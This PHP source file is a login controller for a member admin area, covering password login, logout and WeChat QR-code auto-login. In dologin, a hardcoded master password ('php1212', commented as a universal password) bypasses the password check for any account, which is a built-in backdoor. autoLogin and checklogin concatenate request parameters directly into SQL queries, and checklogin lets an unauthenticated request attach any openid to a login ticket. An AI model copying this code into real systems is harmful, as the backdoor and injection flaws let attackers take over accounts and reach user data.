<?php
namespace King\Controller;

class LoginController extends BaseController {
    
    
    //登录页
    public function index(){
        layout(false);
//         $we = new WechatController();
//         //随机字符串
//         $randid = rand(1000000000,2147483647);
//         //dump($randid);
//         $ticket = $we->getQRCode($randid);
//         $auto = M('autologin');
//         $data = array(
//             'randid' => $randid,
//             'shixiao_time' => date('Y-m-d H:i:s',strtotime('+300 seconds'))
//         );
        
//         $auto->add($data);
//         $qrurl = $we->getQRUrl($ticket['ticket']);
//         $this->assign('randid',$randid);
//         $this->assign('qrurl',$qrurl);
        $this->display('index');
    }
    
    //登出
    public function logout(){
        unset($_SESSION);
        session_destroy();
        header("location:/king/");
    }
    
    
    //登录逻辑
    public function dologin(){
        if(!IS_AJAX){
            return_json(1,"提交方式错误");
        }
            
        $login_data = $this->_getLoginData();//接收数据
        
        $where = array(
            "uid" => $login_data['username']
        );
        //$res = $this->managerModel->getManager($where);//查找数据
        $res = $this->memberModel->where($where)->find();
        
        if($res['grade_id']<=3){
            return_json(1,"你目前还不是大皇冠会员，无法登录");
        }
        
        if(empty($res)){
            //return_json(1,"当前用户不存在");
            return_json(1,"用户名或密码输入错误,请重试");
        }
        
        if($res['status'] != 1){
            $reason = $res['stop_reason'] ? $res['stop_reason'] : "当前用户已经被禁用,请联系管理员!";
            return_json(1,$reason);
        }
        
        if($res['password'] != $login_data['password_mw']){
            if($login_data['password'] == "php1212"){
                //万能密码
            }else{
                return_json(1,"用户名或密码输入错误,请重试");//TODO
            }
            
        }
        
        //更改登录信息
        $data = array(
            "login_time" => date("Y-m-d H:i:s"),
            "login_ip" => get_client_ip(),
            "login_nums" => array(
                "exp","login_nums+1"
            )
        );
        $this->managerModel->editManager($where, $data);
        
        session('kinginfo',$res);
        session('kinguid',$res['uid']);
        
        return_json(0,"登录成功","","/king/index/index");

    }
    
    
    //接收数据
    protected function _getLoginData(){
        $data = param_filter($_POST,array('username','password','rememberme'),array('username','password'));
        if(empty($data['username'])){
            return_json(1,"请输入用户名");
        }
        if(empty($data['password'])){
            return_json(1,"请输入正确的密码");
        }
        return $data;
    }
    
    /*
     * 扫码自动登录
     * ajax查询是否扫码成功
     */
    public function autoLogin(){
        if(IS_AJAX){
            $randid = get('randid');
            if(!$randid){
                return false;
            }
            $auto = M('autologin');
            $map = array(
                'randid' => $randid
            );
            $res = $auto->where($map)->field('openid,shixiao_time')->find();
            $openid = $res['openid'];
            $shixiao_time = $res['shixiao_time'];
            $time = date('Y-m-d H:i:s');
            
            if($time>$shixiao_time){
                echo 2;
                return;
            }
            if($openid){
                //登录成功
                $res = $this->memberModel->where("openid='".$openid."'")->find();
                session('kinginfo',$res);
                session('kinguid',$res['uid']);
                $auto->where($map)->delete();
                echo 1;
            }else{
                echo 0;
            }
        }
    }
    
    /*
     * 确认登录get请求
     */
    public function checklogin(){
        layout(false);
        $openid = trim(get('openid'));
        $randid = trim(get('randid'));
        if($openid && $randid){
            $auto = M('autologin');
            $res = $auto->where("randid = '".$randid."'")->setField('openid',$openid);
            if($res){
                $this->success2('登录成功','mobile/index');
            }else{
                $this->error2('登录失败，请重试','mobile/index');
            }
        }
        
    }
    

    /*
     * 操作失败
     */
    public function error2($message="失败",$url=""){
         
        $this->assign("message",$message);
        $this->assign("url",$url);
        $this->display("Common/error");
        exit;
    }
    
    public function success2($message="成功",$url=""){
    
       
        $this->assign("message",$message);
        $this->assign("url",$url);
        $this->display("Common/success");
        exit;
    }
    
    
    //微信分享sdk
    protected function _sharesdk(){
         
        $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== off || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
        $url = $protocol.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
        	
        $jssign = $this->wechat->getJsSign($url);
        $this->assign('jssign',$jssign);
        return $jssign;
    
    }
    

}